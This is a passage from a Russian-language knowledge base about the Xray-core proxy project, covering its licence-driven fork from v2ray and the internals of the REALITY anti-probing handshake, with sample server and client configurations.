Debian-пакета попросил RPRX перелицензировать XTLS под открытую лицензию — RPRX отказался (обсуждение [XTLS/Go #9](https://github.com/XTLS/Go/issues/9)). Тогда мейнтейнер предложил ([v2ray-core #2789](https://github.com/v2ray/v2ray-core/issues/2789)) убрать XTLS из ядра, чтобы сохранить Debian-пакет. Сообщество проголосовало — «отказаться от Debian-пакета или удалить XTLS» — и **выбрало удалить XTLS** (это произошло в версии v2ray-core 4.33.0). > [!warning] Мотивы сторон — предмет спора, а не установленный факт > В том же обсуждении [#688](https://github.com/v2fly/v2ray-core/discussions/688) участники **расходятся в оценке**, почему RPRX отказался открыть лицензию. Одни называют это «личной выгодой» (私利) и виной за раскол; другие считают такую оценку несправедливой и предлагают судить по первичной переписке в XTLS/Go #9. Ещё один участник резюмирует: «враг должен быть один — GFW». Это **оценки и приписывание мотивов**, а не документированный факт; заметка их не разделяет. Достоверно лишь то, что RPRX считал XTLS своей личной разработкой и не согласился передать решение о лицензии сообществу. > > Отдельная линия ретроспективы (комментарии 2025 года в [XTLS/Go #9](https://github.com/XTLS/Go/issues/9)): часть участников считает, что конфликт во многом раздут **недопониманием из-за машинного перевода** (китайский ↔ английский). По их прочтению, упаковщик Debian (rogers0) по-английски писал вполне вежливо, без «морального давления» — он лишь просил убрать из лицензии строку «Only for compiling executables usage for now», делающую код несвободным, и сожалел, что иначе Debian-пакет придётся снять. Резкость же возникла из восприятия RPRX плюс атак в китайских чатах вне самого issue. Это тоже интерпретация, но она смягчает картину «злого умысла» с обеих сторон. RPRX вместе со сторонниками ушёл и основал **Project X**. 25 ноября 2020 года вышел **Xray-core v1.0.0** — форк v2ray-core (по README Xray — от коммита `9a03cc5`), объединивший бинарники `v2ray` и `v2ctl` в один `xray` и включивший полную поддержку VLESS и XTLS. Полная родословная ядер (Shadowsocks → V2Ray → v2fly → Xray) с разбором, где code-fork, а где идейное наследование, — в [[xray/v2fly-vs-xray|сравнении v2fly и Xray]]. На старте Xray был функциональным супермножеством V2Ray (всё то же плюс XTLS), но с тех пор проекты разошлись: сам Project X предупреждает, что Xray больше не является drop-in-заменой v2ray-core. Лицензия Xray-core — MPL-2.0. > [!note] Кто такой RPRX > RPRX — анонимный автор и бессменный лидер [[sing-box/protocols-origin|Project X]], дизайнер VLESS, XTLS, XTLS-Vision, REALITY и XHTTP (по био профиля [github.com/rprx](https://github.com/rprx): «VLESS & XTLS & REALITY & XHTTP»). Личность намеренно не раскрыта — официальное кредо проекта прямо гласит «It doesn't matter who we are» («неважно, кто мы»). Коммиты и релизы подписываются верифицированной GPG-подписью. > [!warning] Миф «Xray-core создала девушка» — не подтверждён > В русскоязычном сообществе RPRX нередко упоминают в женском роде и говорят, что ядро «написала девушка». **Публичных подтверждений этому нет.** Ни в профиле GitHub, ни в README, ни в официальной хронике, ни в релизах RPRX не указывает своё имя, пол, гендер или местоимения и никогда не делал(а) заявлений о женской идентичности. Женский род в чатах и ассоциация с аниме-аватаром — это конвенция и мем сообщества, а не факт: никнейм, аватар и языковые привычки чужих людей не являются заявлением человека о себе. Что известно достоверно: RPRX — псевдонимная фигура, реальные имя, пол и личность официально не раскрыты. Поэтому корректно писать о создателе нейтрально, не приписывая пол. ## Ключевые технологии ### VLESS: протокол без лишнего шифрования **VLESS** — транспортный протокол прокси, придуманный RPRX как облегчённый наследник VMess. В отличие от VMess, VLESS не шифрует полезную нагрузку сам — шифрование делегируется внешнему слою (TLS, REALITY), и не требует синхронизации времени между клиентом и сервером. Подробный разбор протокола — в заметке [[xray/vless|Протокол VLESS]]; здесь важно одно: VLESS — это «скелет», а вся маскировка живёт уровнем ниже, в XTLS/REALITY. ### XTLS: убрать «TLS внутри TLS» Классический прокси-через-TLS страдает **двойным шифрованием**: пользователь открывает HTTPS-сайт (первый слой TLS), и этот уже зашифрованный поток заворачивается во второй TLS-туннель до прокси-сервера. Это и лишняя нагрузка на CPU, и — главное — детектируемый цензором паттерн «TLS-in-TLS». Идея **XTLS**: раз внутренний трафик уже зашифрован настоящим TLS 1.3, внешний слой после рукопожатия можно не шифровать повторно, а передавать внутренний поток напрямую. Ранние режимы **Direct** и **Splice** (Splice использует zero-copy механизм ядра Linux) давали почти нулевые накладные расходы — Xray спокойно работал даже на роутерах с OpenWRT. Проще говоря: XTLS перестаёт «заворачивать письмо в второй конверт» — раз письмо уже запечатано, его пересылают как есть, экономя силы и не создавая подозрительно толстый конверт. Важно не путать уровни: XTLS — это **не шифр и не протокол**, а механизм управления потоком поверх уже установленного TLS/REALITY. Подробный разбор терминологии (VLESS vs XTLS vs REALITY — что есть что) и механики паддинга/splice — в отдельной заметке [[xray/xtls-vision|XTLS и Vision]]. ### XTLS-Vision: ответ на детект TLS-in-TLS (осень 2022) Ранние режимы XTLS со временем научились детектировать: у прямой передачи вложенного TLS остаются характерные размеры и тайминги пакетов. Осенью 2022 года, на фоне волны блокировок прокси-серверов в Китае, RPRX выпустил новый flow-режим **XTLS-Vision** (`xtls-rprx-vision`) — он дополняет (паддит) первые пакеты соединения, размывая сигнатуру вложенного рукопожатия. Vision быстро стал рекомендуемым режимом по умолчанию для VLESS-серверов и на 2026 год остаётся единственным живым режимом XTLS (старые `origin`/`direct`/`splice` удалены). Как именно Vision паддит пакеты и когда переходит в zero-copy splice — в заметке [[xray/xtls-vision|XTLS и Vision]]. > [!warning] Точность дат > Точные дни релизов Vision (осень 2022) и REALITY (весна 2023) в доступных источниках не зафиксированы — даты в заметке ориентировочные, по релиз-циклу Xray-core и обсуждениям в сообществе. ### REALITY: прикрыться настоящим чужим сайтом (2023) **REALITY** ([github.com/XTLS/REALITY](https://github.com/XTLS/REALITY)) — замена классического серверного TLS, появившаяся весной 2023 года. До неё владельцу прокси нужен был собственный домен и сертификат (например, от Let's Encrypt) — а сам факт «свежий домен + сертификат + странный трафик» уже был сигналом для цензора. REALITY работает иначе: сервер при рукопожатии **проксирует настоящий TLS-handshake реального стороннего сайта** (например, крупного публичного домена). Цензор, проверяющий сервер активным зондированием (active probing), получает настоящий ответ настоящего сайта — отличить прокси от легитимного сервера снаружи не получается. Легитимный же клиент, знающий ключ, получает временный сертификат и устанавливает туннель. Итог: не нужен свой домен, нет серверного TLS-отпечатка, есть защита от active probing. Проще говоря: сервер REALITY притворяется чужим известным сайтом так убедительно, что при проверке он и есть этот сайт — «своим» он открывается только по секретному ключу. Как устроено зеркалирование ClientHello на реальный сайт, криптографическая метка в SessionId и временный сертификат на HMAC — подробно в отдельной заметке [[xray/reality|REALITY]]. Актуальный статус на 2026 год: REALITY по-прежнему криптографически не вскрыт, но цензоры сместились на **поведенческий анализ** соединений (тайминги, объёмы, эвристики) — подробный разбор этой схемы в [[VLESS/dpi-tls-june-2026|заметке про DPI-эвристики июня 2026]], а связанные риски настройки — в [[VLESS-SOCKS5-vulnerability]] и [[VLESS-localhost-protection-guide]]. ### XHTTP: транспорт через CDN (2024) **XHTTP** (изначально SplitHTTP, середина 2024; переименован и расширен к концу 2024) — транспорт, маскирующий трафик под обычные HTTP-запросы с раздельными путями upload/download. Главное применение — прохождение через CDN вроде Cloudflare: цензор видит соединение с CDN, а не с прокси-сервером. В Project X его позиционируют как направление «Beyond REALITY» ([обсуждения Xray-core](https://github.com/XTLS/Xray-core/discussions)). Разбор режимов `packet-up`/`stream-up`/`stream-one`, XMUX и механики маскировки — в отдельной заметке [[xray/xhttp|XHTTP]]. ## Экосистема и распространение Xray-core — это только ядро без графического интерфейса. Вокруг него выросла экосистема: | Слой | Примеры | Роль | |---|---|---| | Ядро | Xray-core, sing-box (совместимая альтернатива, см. [[sing-box/sing-box-extended\|sing-box-extended]]) | Реализация протоколов | | Клиенты | v2rayN (Windows), v2rayNG (Android), Hiddify, Streisand (iOS), NekoBox | GUI для пользователя | | Панели | 3x-ui, x-ui, Marzban | Управление сервером и пользователями | Массовое применение — страны с DPI-цензурой: Иран, Китай, Россия. В российском контексте связка VLESS+REALITY на арендованном VPS — один из основных методов обхода наряду с локальными инструментами вроде [[Zapret/about|zapret]] и альтернативными протоколами вроде [[Hysteria/00-overview|Hysteria 2]]. ## Xray vs v2fly сегодня: в чём разница После форка 2020 года в мире V2Ray живут **два независимых ядра одновременно**, и оба на 2026 год активно развиваются — это не «оригинал и заброшенный форк», а два параллельных проекта с разными мейнтейнерами и разным фокусом. > [!important] Кто где из авторов — частая путаница > Автор скандала вокруг лицензии XTLS — **RPRX** — ушёл и с тех пор ведёт именно **Xray-core (Project X)**, а НЕ v2fly. Распространённое заблуждение «поругавшийся автор теперь сидит на v2ray-core» — неверно: [v2fly/v2ray-core](https://github.com/v2fly/v2ray-core) мейнтейнит **команда сообщества** (та, что подхватила проект после исчезновения Victoria Raymond), и XTLS они из своего ядра как раз выпилили. То есть RPRX не «живёт на втором проекте» — он основал свой, третий по счёту (V2Ray → v2fly → Xray), и развивает его. Проще говоря: V2Ray создала Victoria Raymond и пропала; сообщество продолжило её проект как **v2fly**; RPRX поругался с этим сообществом из-за лицензии и отпочковал **свой** Xray. Сегодня v2fly и Xray — соседи-конкуренты, каждый со своей командой. ### Оба проекта живы (на июль 2026) - **Xray-core (Project X):** ~40 тыс. звёзд, календарные версии (v26.7.11 = 11 июля 2026), выкладываются часто. Фокус — агрессивное развитие антицензурных технологий. - **v2fly/v2ray-core:** ~34 тыс. звёзд, семантические версии (последняя — v5.52.0 от 7 июля 2026), релизы примерно раз в 4–6 недель ([releases](https://github.com/v2fly/v2ray-core/releases)). Проект **не заморожен**: в него продолжают добавлять свои экзотические транспорты (WebRTC-туннель, Google Docs Viewer transport, X-Forwarded-For для gRPC), но в другом направлении, чем у Xray. ### Технические различия | | Xray-core (Project X) | v2fly/v2ray-core | |---|---|---| | Мейнтейнер | RPRX и команда Project X | Команда сообщества v2fly | | Общие протоколы | VMess, VLESS, Shadowsocks, Trojan, SOCKS, Dokodemo | те же | | VLESS | Полный, с XTLS-flow (Vision) | Есть, но **без** XTLS-Vision | | XTLS-Vision | Есть (эксклюзив) | Нет | | REALITY | Есть (эксклюзив) | Нет | | XHTTP / XUDP | Есть (эксклюзив) | Нет | | [[xray/vless-encryption\|VLESS Encryption]] (пост-квант) | Есть (с v25.9.5, сентябрь 2025) | Нет | | Свои транспорты | XHTTP и др. | WebRTC-туннель, Google Docs Viewer и др. | | Лицензия | MPL-2.0 | MIT | | Совместимость | Официально **больше не** drop-in-замена v2ray-core | — | ### Разница в философии Главное различие — не в списке галочек, а в направлении. **Xray** сфокусирован на «войне с DPI»: почти все громкие антицензурные новшества последних лет (Vision, REALITY, XHTTP, пост-квантовое шифрование VLESS) рождаются именно здесь, часто как срочный ответ на новые методы блокировок в Китае, Иране и России. **v2fly** держит более консервативную линию классического V2Ray с упором на стабильность и широкий набор транспортов, но без «фирменных» XTLS/REALITY. Именно поэтому в странах с жёстким DPI (Иран, Китай, Россия) на практике преобладает Xray-core — связка VLESS+REALITY возможна только на нём, и большинство популярных клиентов (v2rayN, v2rayNG, Hiddify, Streisand) и панелей (3x-ui, Marzban) собраны вокруг него. ## Исходный код: что и где ресёрчить Xray-core — открытый проект на Go, весь код доступен для изучения. Если цель — понять, как VLESS и REALITY устроены «под капотом», ориентиры в репозитории [github.com/XTLS/Xray-core](https://github.com/XTLS/Xray-core) такие: | Путь в репозитории | Что там | |---|---| | `proxy/vless/` | Сам протокол VLESS: формат заголовка, аккаунты, inbound/outbound-обработчики | | `proxy/vless/encoding/` | Кодирование запросов/ответов VLESS и addons (в т.ч. flow) | | `proxy/proxy.go` | Логика XTLS-Vision: паддинг и обработка вложенного TLS | | `transport/internet/reality/` | Интеграция REALITY на стороне ядра (сам протокол — в отдельном репозитории [XTLS/REALITY](https://github.com/XTLS/REALITY)) | > [!note] Локальная копия для ресёрча — модуль vpnbot > В инфраструктуре vpnbot есть собственный управляющий модуль `xray_core` (локально: `G:\Privacy\vpnbot_codex\xray_core`, основной файл `manager.py`, ~2700 строк Python). Важно не путать: это **не исходники ядра Xray**, а обвязка над ним — менеджер, который по SSH управляет установленным на серверах Xray-core: правит файл managed-inbounds (`50_vpnbot_managed_inbounds.json`), валидирует конфиг, перезапускает сервис `vpnbot-xray.service`, ходит в gRPC-API ядра (`127.0.0.1:10085`) и в online-трекер соединений. По части VLESS модуль сам проставляет клиентам flow `xtls-rprx-vision`, когда inbound работает по TCP с security `reality`/`xtls` — то есть в нём видно, как описанные выше технологии применяются в реальной боевой инфраструктуре. Рядом в `vpnbot_codex` лежат и сервисы жизненного цикла VLESS-клиентов (`vless_revocation_service.py`, `vless_state_reconcile_service.py`, `user_vless_fingerprint_manager.py` и др.). ## 📚 См. также - [[xray/v2fly-vs-xray|v2fly vs Xray]] — сравнение Xray-core с родительским v2ray-core по коду: что общего от форка, что разошлось - [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]] — авторы (RPRX, Victoria/Darien Raymond), разбор мифов о личности, «исчезновение» 2019 - [[xray/vless|Протокол VLESS]] — подробное устройство и возможности протокола - [[xray/xtls-vision|XTLS и Vision]] — терминология XTLS/Vision/REALITY и механика flow - [[xray/reality|REALITY]] — как прокси прикрывается настоящим чужим сайтом - [[xray/xhttp|XHTTP]] — транспорт через CDN, режимы packet-up/stream-up/stream-one - [[xray/clients-and-routing|Клиенты и маршрутизация]] — как подключиться (HAPP и др.) и развести трафик - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — чем экосистема Xray отличается от Clash/mihomo и sing-box, и когда что выбирать - [[xray/routing|Маршрутизация в Xray]] — правила, geosite/geoip, балансировщики изнутри - [[VLESS/dpi-tls-june-2026|DPI TLS heuristics 2026]] — как DPI детектит VLESS+REALITY поведенчески - [[VLESS-SOCKS5-vulnerability]] и [[VLESS-localhost-protection-guide]] — риски неправильной настройки - 🔗 [github.com/XTLS/Xray-core](https://github.com/XTLS/Xray-core) — репозиторий ядра - 🔗 [xtls.github.io](https://xtls.github.io/en/) — официальная документация Project X - 🔗 [Wikipedia: V2Ray](https://en.wikipedia.org/wiki/V2Ray) — история прародителя --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/project-x.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - xray - reality - tls - vless - censorship - anti-probing aliases: - REALITY - Xray REALITY - REALITY handshake link: https://github.com/XTLS/REALITY --- # 🎭 REALITY: как прокси прикрывается настоящим чужим сайтом > [!info] О чём заметка > Подробный разбор протокола **REALITY** — замены TLS в [[xray/project-x|Xray-core]], которая позволяет прокси-серверу маскироваться под настоящий сторонний сайт без собственного домена и сертификата. Здесь — что происходит на уровне рукопожатия, как устроена криптографическая аутентификация и почему активное зондирование (active probing) не может отличить REALITY-сервер от реального сайта. Разбор основан на чтении исходного кода: серверная часть — форк `crypto/tls` в [github.com/XTLS/REALITY](https://github.com/XTLS/REALITY), клиентская — `transport/internet/reality/reality.go` в Xray-core. REALITY — это отдельный слой (security), не путать с [[xray/xtls-vision|XTLS/Vision]] (flow) и [[xray/vless|VLESS]] (протокол). ## TL;DR - **REALITY** — замена обычного серверного TLS. Владельцу прокси **не нужен свой домен и сертификат**: сервер маскируется под чужой публичный сайт (например крупный домен). - При рукопожатии сервер **физически проксирует ClientHello клиента на настоящий сайт** и возвращает его настоящий ответ. Для чужого наблюдателя сервер неотличим от порт-форварда на этот сайт. - «Свой» клиент опознаётся по криптографической метке, спрятанной в поле `SessionId` внутри ClientHello. Метка шифруется AES-GCM на общем секрете (X25519 ECDH) и невидима без серверного ключа. - Своему клиенту сервер выдаёт **временный сертификат, «подписанный» HMAC на общем секрете** — только владелец правильного ключа может его проверить. Чужой клиент/зонд получает настоящий сертификат реального сайта. - Итог: нет серверного TLS-отпечатка, есть защита от active probing, не нужен свой домен. Криптографически REALITY на 2026 год не вскрыт — DPI борется с ним поведенчески (см. [[VLESS/dpi-tls-june-2026|разбор июня 2026]]). ## Проблема, которую решает REALITY До REALITY, чтобы прокси маскировался под HTTPS, владельцу нужен был собственный домен и настоящий TLS-сертификат (например от Let's Encrypt). Но это само по себе создавало сигнал для цензора: свежезарегистрированный домен, на который вдруг идёт много странного трафика с одного IP, — подозрительно. Плюс сервер терминировал TLS сам, а значит имел собственный **TLS-отпечаток** (fingerprint), который можно было каталогизировать и блокировать. REALITY убирает и то, и другое: **не нужен свой домен**, и у сервера **нет своего TLS-отпечатка**, потому что настоящий ответ рукопожатия генерирует не он, а реальный чужой сайт, под который он маскируется. ## Как работает рукопожатие: зеркалирование на реальный сайт Это самая необычная часть REALITY. Точка входа на сервере — функция `Server()` в `tls.go`. Как только приходит клиентское соединение, сервер **сразу дозванивается до реального сайта** (адрес из поля `target`, например `example.com:443`) и оборачивает клиентское соединение в специальный `MirrorConn`. `MirrorConn` работает как зеркало: каждый байт, который читается от клиента (включая его ClientHello), **немедленно копируется на настоящий сайт**. То есть клиентское рукопожатие физически уходит на реальный сервер `example.com`, и от него приходит настоящий **ServerHello**. Важно: перехватывается только ServerHello — та часть рукопожатия, которая в TLS 1.3 идёт **открытым текстом**, — вместе с длинами и таймингами последующих (уже зашифрованных) сообщений. Всё после ServerHello в TLS 1.3 зашифровано, и сервер REALITY туда не лезет. Проще говоря: REALITY-сервер сначала ведёт себя как «прокладка» между клиентом и настоящим сайтом — просто перекидывает трафик туда-сюда. И только если он узнаёт в клиенте «своего» (по секретной метке), он перехватывает управление. Если не узнаёт — соединение так и остаётся сквозным проксированием на реальный сайт, и клиент честно говорит с `example.com`. Сервер берётся за аутентификацию только при двух условиях: соединение по TLS 1.3 **и** SNI из ClientHello входит в список `ServerNames` (разрешённых сайтов). Иначе — чистый проброс. ## Криптография: как опознаётся «свой» клиент Метка «я свой» прячется в поле **`SessionId`** внутри ClientHello — обычно там случайные 32 байта, и REALITY-метка от случайного мусора неотличима без ключа. Пошагово (клиент — `UClient` в `reality.go`): 1. **Общий секрет.** Клиент считает `AuthKey` через X25519 ECDH: перемножает свой эфемерный ключ из ClientHello с публичным ключом сервера (в конфиге клиента это поле `password`). Затем прогоняет результат через HKDF (соль — первые 20 байт `ClientHello.Random`, метка `"REALITY"`). Сервер вычисляет ровно тот же секрет из своего приватного ключа — классический Диффи-Хеллман. 2. **Метаданные в SessionId.** Клиент кладёт в 32 байта версию Xray, текущее время (для защиты от повторов) и свой `ShortId` (8-байтный идентификатор, различающий клиентов). 3. **Шифрование метки.** Всё это шифруется **AES-GCM на `AuthKey`**, причём в качестве дополнительных данных (AAD) берётся весь `ClientHello`. Результат кладётся обратно в `SessionId`. Без `AuthKey` метку нельзя ни прочитать, ни подделать. Сервер делает всё зеркально: вычисляет тот же `AuthKey`, расшифровывает `SessionId`, достаёт версию/время/`ShortId` и проверяет: - версия клиента в допустимом окне (`MinClientVer`/`MaxClientVer`); - время в пределах `MaxTimeDiff` (защита от воспроизведения старого перехваченного ClientHello); - `ShortId` есть в списке разрешённых (`ShortIds`). Если всё сошлось — клиент признан «своим», и сервер перехватывает рукопожатие. Если нет — соединение остаётся проброшенным на реальный сайт. ## Временный сертификат «на лету» Когда клиент опознан как свой, сервер должен отдать ему сертификат — но не может использовать настоящий сертификат `example.com` (у него нет приватного ключа этого домена). Решение хитрое: сервер берёт заранее заготовленный самоподписанный ed25519-сертификат и **подменяет его подпись на HMAC-SHA512, вычисленный на `AuthKey`**. Обычной проверки цепочки сертификатов у клиента нет (она отключена). Вместо неё клиент повторяет тот же HMAC на своём `AuthKey` и сверяет с подписью в сертификате. Совпало — значит сертификат выдан именно REALITY-сервером, знающим общий секрет, а не реальным сайтом и не MITM-посредником. Только владелец правильного ключа способен воспроизвести этот HMAC. > [!important] REALITY НЕ «ворует сертификаты» — распространённое заблуждение > Частый миф: будто REALITY «крадёт» или «подменяет» настоящий сертификат целевого сайта. Это неверно, и официальное руководство XTLS это прямо опровергает. В TLS 1.3 сертификат сервера **зашифрован** (идёт после ServerHello), поэтому посредник его в принципе не видит, а сервер REALITY не может его ни прочитать, ни переслать. Что происходит на самом деле: REALITY реализует **полноценный TLS 1.3**, перехватывает у целевого сайта только открытый ServerHello (его длину, тайминги, внешний вид) и заменяет `key_share`, а «своему» клиенту генерирует **собственный временный доверенный сертификат** (подписанный HMAC на общем секрете, см. выше). Настоящий сертификат целевого сайта легитимный клиент в нормальных условиях **не получает вообще** — он достаётся только чужому клиенту/зонду, которому идёт честный проброс на реальный сайт. > [!note] Три исхода для клиента > Клиент REALITY различает три случая по полученному сертификату: **временный доверенный** (HMAC сошёлся) → прокси работает; **настоящий сертификат реального сайта** (значит сервер не опознал клиента или это редирект) → клиент уходит в режим «паука» — эмулирует обычный браузинг по сайту, чтобы даже при неудаче выглядеть как реальный посетитель; **невалидный сертификат** → TLS-ошибка и разрыв. Стартовый путь для режима паука задаётся параметром `spiderX`. ## Защита от active probing **Active probing** — это когда цензор сам отправляет запрос на подозрительный сервер, чтобы проверить, прокси это или нет. REALITY здесь практически неуязвим, и вот почему. Любой ClientHello без валидной REALITY-метки (не тот SNI, неизвестный `ShortId`, неверный тег AES-GCM, устаревшее время) обрабатывается как чистый проброс на реальный сайт: зонд отправил ClientHello — тот уже физически ушёл на `example.com` через `MirrorConn`, и ответ реального сайта вернулся зонду байт-в-байт. Зонд общается с **настоящим** `example.com`: настоящий сертификат, настоящий TLS 1.3, настоящее поведение сайта. Ключевой момент: сервер REALITY **не генерирует поддельный ServerHello** — он использует тот, что реально пришёл от целевого сайта. Поэтому нет никакого «своего» ответа, который зонд мог бы спровоцировать и опознать. А сама метка спрятана в `SessionId` и неотличима от случайного session id обычного TLS 1.3-клиента. Рекомендация из документации REALITY: форвардить на целевой сайт ещё и TCP/80 и UDP/443, чтобы сервер выглядел как обычный порт-форвард на этот сайт со всех сторон. ## uTLS: правдоподобный ClientHello Чтобы сам ClientHello «своего» клиента не выделялся, REALITY использует библиотеку **uTLS** (`refraction-networking/utls`) — она собирает ClientHello с точным набором расширений, шифров, GREASE и порядком полей как у настоящего браузера. Браузер задаётся параметром `fingerprint` (по умолчанию `chrome`). REALITY встраивает свою метку **поверх** уже собранного uTLS-рукопожатия, правя только `SessionId` и не ломая отпечаток. Обязательное условие: выбранный fingerprint должен поддерживать TLS 1.3 — иначе не будет эфемерного ECDHE-ключа, из которого выводится `AuthKey`, и рукопожатие невозможно. ## Почему REALITY работает только по TCP (не по QUIC) Для REALITY рекомендуется единственный надёжный транспорт — **RAW (TCP)**. Причина техническая: REALITY прячет свою метку в поле `SessionId` внутри ClientHello. В обычном TCP-TLS это поле почти всегда заполняется случайными 32 байтами (для совместимости), поэтому REALITY-метка в нём неотличима от случайного мусора — идеальное место, чтобы спрятаться. А в **QUIC** (на котором работает HTTP/3) поле `SessionId` в TLS имеет **нулевую длину** и модифицировать его нельзя. Некуда встроить метку — значит REALITY поверх QUIC не работает в принципе. Поэтому связка VLESS+REALITY живёт по TCP, и именно поэтому [[xray/xtls-vision|Vision]] тоже TCP-only. ## Как выбрать target и serverNames Выбор целевого сайта — самая ответственная часть настройки, от неё зависит и скрытность, и скорость. Требования к сайту-камуфляжу: - **Зарубежный** сайт (с точки зрения вашей страны) с поддержкой **TLS 1.3 и HTTP/2**. - Домен, который **не редиректит** куда-то ещё (редирект `domain` → `www.domain` допустим). - Желательно IP-адрес, **близкий к вашему серверу** по сетевому расстоянию (меньше задержка, менее подозрительно). > [!danger] Не используйте крупные сайты (Google, CDN-гиганты) как target > Многие крупные сайты имеют **CDN-серверы внутри страны**. Если у сайта есть локальные серверы, то с точки зрения цензора вы в норме должны обращаться к внутренним адресам, а не выходить за границу — обращение за рубеж к «домашнему» сайту само становится аномалией. `dl.google.com` в примерах официального репозитория приведён только для иллюстрации — реально Google в качестве target не берут. Плюс: если target за CDN (например Cloudflare), непрошедший трафик пробрасывается туда, и ваш сервер превращается в бесплатный порт-форвард к чужому CDN. Практично: если своего домена нет — просканируйте соседние по ASN домены инструментом [RealiTLScanner](https://github.com/XTLS/RealiTLScanner). Если свой домен есть — используйте его (лучшая практика — сертификат из той же ASN, что и ваш сервер). Дополнительно можно фильтровать нежелательные SNI через Nginx. ## Пост-квантовая защита REALITY готов к эпохе квантовых компьютеров на двух уровнях: - **Обмен ключами `X25519MLKEM768`.** Если целевой сайт поддерживает этот гибридный пост-квантовый алгоритм, клиент REALITY применяет его автоматически. Проверить поддержку у target: `xray tls ping cloudflare.com` (подставьте свой адрес). - **Подпись `ML-DSA-65` (опционально).** Задаётся парой `mldsa65Seed` (сервер) / `mldsa65Verify` (клиент), генерируется командой `xray mldsa65`. Добавляет к временному сертификату пост-квантовую подпись: даже если в будущем взломают X25519 и утечёт `password`, MITM-атака останется невозможной. На старые клиенты без поддержки не влияет. > [!warning] Условие для ML-DSA-65: крупный сертификат target > Пост-квантовая подпись увеличивает размер временного сертификата REALITY. Чтобы это не создавало отличительную особенность, сертификат самого целевого сайта тоже должен быть большим — **свыше 3500 байт**. Для этого выбирайте target с **RSA-сертификатом** (не ECDSA — у него длина меньше) и поддержкой `X25519MLKEM768`. Размер проверяется командой `xray tls ping example.com`. ## Минимальный конфиг Пример боевого минимума (имена/ключи здесь условные, домен `example.com` — плейсхолдер вашего реального target). Обратите внимание: у сервера — `target`/`privateKey`/`shortIds`, у клиента — `serverName`/`password`/`shortId`, и с обеих сторон `flow: xtls-rprx-vision`. **Сервер** (`inbound`): ```json { "protocol": "vless", "settings": { "clients": [{ "id": "", "flow": "xtls-rprx-vision" }], "decryption": "none" }, "streamSettings": { "network": "raw", "security": "reality", "realitySettings": { "target": "example.com:443", "serverNames": ["example.com", "www.example.com"], "privateKey": "<приватный ключ из xray x25519>", "shortIds": ["6ba85179e30d4fc2"] } } } ``` **Клиент** (`outbound`): ```json { "protocol": "vless", "settings": { "vnext": [{ "address": "", "port": 443, "users": [{ "id": "<тот же UUID>", "encryption": "none", "flow": "xtls-rprx-vision" }] }] }, "streamSettings": { "network": "tcp", "security": "reality", "realitySettings": { "fingerprint": "chrome", "serverName": "www.example.com", "password": "<публичный ключ сервера>", "shortId": "6ba85179e30d4fc2" } } } ``` > [!note] target как fallback > `target` — это по сути точка **fallback**: весь трафик, не прошедший REALITY-проверку (чужой клиент, зонд), Xray напрямую пересылает туда. Можно указать не только внешний сайт, но и **локальный фейковый веб-сервер** — например `"target": "localhost:10433"`, где на порту 10433 крутится подставной сайт. Тогда зонд увидит именно его. Если же оставить `target` на реальный внешний сайт — непрошедший трафик пойдёт туда. ## Ключевые параметры конфига | Параметр | Сторона | Что это | |---|---|---| | `target` | сервер | Адрес реального сайта для маскировки и проброса (`example.com:443`). По наличию этого поля ядро отличает серверный конфиг от клиентского. Старое имя — `dest` (сейчас оба поля — алиасы) | | `serverNames` | сервер | Список разрешённых SNI; клиентский SNI должен точно совпасть (wildcard не поддерживается) | | `privateKey` | сервер | Приватный ключ X25519 (генерируется `xray x25519`) | | `password` | клиент | Публичный ключ X25519 сервера. Раньше поле называлось `publicKey`, переименовано во избежание путаницы | | `shortIds` / `shortId` | сервер / клиент | Список разрешённых 8-байтных идентификаторов клиентов (`openssl rand -hex 8`); пустое значение допускает пустой `shortId` | | `maxTimeDiff` | сервер | Допустимый разброс времени клиента в миллисекундах (защита от replay); 0 — выключено | | `minClientVer` / `maxClientVer` | сервер | Окно допустимых версий Xray у клиента (например `1.8.6`) | | `fingerprint` | клиент | uTLS-отпечаток браузера (по умолчанию `chrome`) | | `serverName` | клиент | SNI, который клиент отправляет (из серверного `serverNames`) | | `spiderX` | клиент | Стартовый путь режима «паука» при неудаче (например `/blog`) | | `xver` | сервер | Версия PROXY protocol (0/1/2) для передачи реального IP клиента на `target`; по умолчанию 0 | | `mldsa65Seed` / `mldsa65Verify` | сервер / клиент | Опциональная пост-квантовая подпись ML-DSA-65 (см. ниже) | > [!warning] Про лимит fallback-трафика (`limitFallbackUpload` / `limitFallbackDownload`) > Эти параметры троттлят скорость проброса непрошедшего проверку трафика на реальный сайт (алгоритм «маркерная корзина»: `afterBytes` — после скольки байт включается лимит, `bytesPerSec` — базовая скорость, `burstBytesPerSec` — пиковая). Нужны в основном чтобы сервер не превратился в бесплатный порт-форвард к чужому CDN. Но официальная дока прямо предупреждает: **включённый лимит создаёт детектируемый паттерн**. Если и включать — рандомизируйте значения (особенно в GUI/панелях/скриптах установки), иначе фиксированный лимит сам станет сигнатурой. По умолчанию лучше не трогать, а вместо этого использовать сертификат из той же ASN или свой домен. ## Отличие от обычного TLS и от ShadowTLS **От обычного TLS:** не нужен свой домен и сертификат; настоящий ServerHello генерирует целевой сайт, а не сервер (нет серверного отпечатка); обычная валидация цепочки заменена на HMAC-проверку на общем секрете. **От ShadowTLS:** оба проксируют рукопожатие к реальному сайту, но ShadowTLS перехватывает соединение *после* рукопожатия и продолжает своим потоком (характерный признак — hijack после ServerHello). REALITY же зеркалит ClientHello на настоящий сайт, берёт от него открытый ServerHello (с его длинами и таймингами) и генерирует своему клиенту собственный временный сертификат; для чужого клиента соединение остаётся буквально сквозным TLS реального сайта. > [!warning] Что REALITY НЕ защищает > Криптографически REALITY на июль 2026 не вскрыт — метка неотличима без ключа, active probing бессилен. Но это не значит, что связку нельзя заблокировать: современный DPI перешёл на **поведенческий анализ** (тайминги, объёмы, эвристики соединения), который не трогает саму криптографию REALITY, но ловит прокси по косвенным признакам. Подробный разбор — в [[VLESS/dpi-tls-june-2026|заметке про схему ограничений июня 2026]]. ## 📚 См. также - [[xray/vless|Протокол VLESS]] — протокол, поверх которого работает REALITY - [[xray/xtls-vision|XTLS и Vision]] — flow-режим, который обычно идёт в паре с REALITY - 